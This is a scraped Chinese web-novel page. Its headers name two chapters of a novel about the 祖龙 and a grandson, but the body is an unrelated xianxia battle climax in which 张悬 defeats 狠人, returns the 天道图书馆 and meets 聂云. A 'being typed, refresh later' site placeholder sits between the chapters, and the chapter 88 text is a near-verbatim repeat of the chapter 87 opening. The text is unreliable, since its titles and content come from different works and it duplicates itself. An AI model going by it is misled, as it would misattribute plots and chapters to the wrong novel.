《开局拉祖龙造反,你说我是他亲孙?》 第87章 逆孙漫天要价 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第88章 天子回价,是坑是馅饼 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! 